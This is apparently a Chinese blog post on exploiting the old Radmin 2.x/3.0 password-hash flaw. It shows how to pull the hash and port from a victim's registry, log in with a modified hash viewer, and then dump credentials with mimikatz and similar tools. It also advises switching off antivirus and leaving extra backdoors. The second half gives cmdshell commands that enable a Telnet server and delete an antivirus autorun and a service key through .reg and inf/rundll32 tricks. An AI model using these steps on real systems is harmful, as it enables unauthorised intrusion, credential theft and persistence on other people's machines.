radmin是平时在windows下用的比较多的一个远程管理工具。其具有支持多个连接和IP 过滤(即允许特定的IP控制远程机器)、个性化的档互传、远程关机、支持高分辨率模式、基于Windows NT的安全支持及密码保护以及提供日志文件支持等特性。不过老版本的radmin server2.X、radmin server3.0都存在一个“致命”漏洞 —— radmin hash提权漏洞。
对于该“致命”漏洞我之所以加了引号。是因为该漏洞的利用是需要有一定的前提条件的。即:要获取读取系统注册表的权限(并不需要有写权限)。当然,获得此权限的方法很多。基本上取得webshell、cmdshell后都能获取该权限。
一、利用方法
如果不怕麻烦的,可以看下红黑联盟上提供的一个利用OllyDBG进行hash欺骗的详细步骤 —— 反汇编破解Radmin密码实例。当然想省事也有省事的方法,网上早有人制作出了radmin_hash版的viewer程序。
从注册表的下列路径取得所要的hash值和端口值:
HKEY_LOCAL_MACHINESYSTEMRAdminv2.0ServerParametersParameter//默认密码注册表位置 HKEY_LOCAL_MACHINESYSTEMRAdminv2.0ServerParametersPort //默认端口注册表位置
<br />
parameters下的配置大致如下所示:
[HKEY_LOCAL_MACHINESYSTEMRAdminv2.0ServerParameters] "NTAuthEnabled"=hex:00,00,00,00 "Parameter"=hex:b5,bb,fc,50,93,ba,35,b0,7d,a6,57,f7,d6,f1,9a,a0 "Port"=hex:11,27,00,00 "Timeout"=hex:0a,00,00,00 "EnableLogFile"=hex:01,00,00,00 "LogFilePath"="c:logfile.txt" "FilterIp"=hex:00,00,00,00 "DisableTrayIcon"=hex:00,00,00,00 "AutoAllow"=hex:00,00,00,00 "AskUser"=hex:00,00,00,00 "EnableEventLog"=hex:00,00,00,00
<br />
有人会问,我如何知道。他用的端口是多少。很简单,自己电脑上装上一个同版本的radmin,注册表中找到相关的位置。将其中的端口的hex值改成和查到的一样,再查看自己的设置里的端口变成了多少。上例中所取的值11 27 00 00 即是10001端口。而通radmin_hash修改版输入32位hash值所就会连接上主机。大致如下图:
<img src="https://www.361way.com/wp-content/uploads/2012/12/radmin_hash.png" alt="radmin_hash" width="458" height="224" class="aligncenter size-full wp-image-2148" />
当然,你如果对网上取到的版本不放心,可以像我一样在沙箱中运行。注意下载该软件时,要关闭杀毒软件,会报是木马的。我这里也分享该软件的下载地址。
连接完了以后,你就可以为所欲为了。可以利用mimikatz解析用户密码,也可以通过getpw获取用户的sam值,再通过LC5解密。获得密码后,可能通过远程桌面进行连结。(呵呵,多留一个后门总归是好的……)
二、利用各种shell获取注册表的方法
下面以一个cmdshell为例,解读操作注册表键值的方法。
1、读取注册表(利用regedit导出,利用type查询)
C:>regedit /e 1.reg "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" C:>type 1.reg | find "PortNumber" "PortNumber"=dword:00000d3d C:>del 1.reg
2、修改/删除注册表项
echo Windows Registry Editor Version 5.00 >1.reg echo. >>1.reg echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftTelnetServer1.0] >>1.reg echo "TelnetPort"=dword:00000913 >>1.reg echo "NTLM"=dword:00000001 >>1.reg echo. >>1.reg regedit /s 1.reg
上面是利用echo写入一个reg文件,并通过regedit命令导入。而删除操作与上面类似:
要删除一个项,在名字前面加减号,比如: [-HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesServ-U] 要删除一个值,在等号后面用减号,比如: [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] "KAVRun"=-
3、inf文件操作
如果regedit命令不允许我们直接操作,我们还可以绕道通过inf文件导入注册表。先建立一个reg.inf文件,内容如下:
[Version] Signature="$WINDOWS NT$" [DefaultInstall] AddReg=My_AddReg_Name DelReg=My_DelReg_Name [My_AddReg_Name] HKLM,SOFTWAREMicrosoftTelnetServer1.0,TelnetPort,0x00010001,2323 HKLM,SOFTWAREMicrosoftTelnetServer1.0,NTLM,0x00010001,1 [My_DelReg_Name] HKLM,SYSTEMCurrentControlSetServicesServ-U HKLM,SOFTWAREMicrosoftWindowsCurrentVersionRun,KAVRun
然后运行如下命令(假设刚才的inf文件的路径是c:pathreg.inf),即可完成和上面reg文件一样的功能:
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:pathreg.inf
<br />
至于inf文件的内容每项的意思,可以参看DDK帮助手册。
总结:
这也是一个比较老的漏洞了(最早好像是在07年有人发现的)。但很多公司在用的版本中,估计没有升级到radmin3.4的还大有人在,包括我目前的公司在内。呵呵!不要打我公司的注意啊,因为在你看到这篇日志的时候,版本已经升上去了。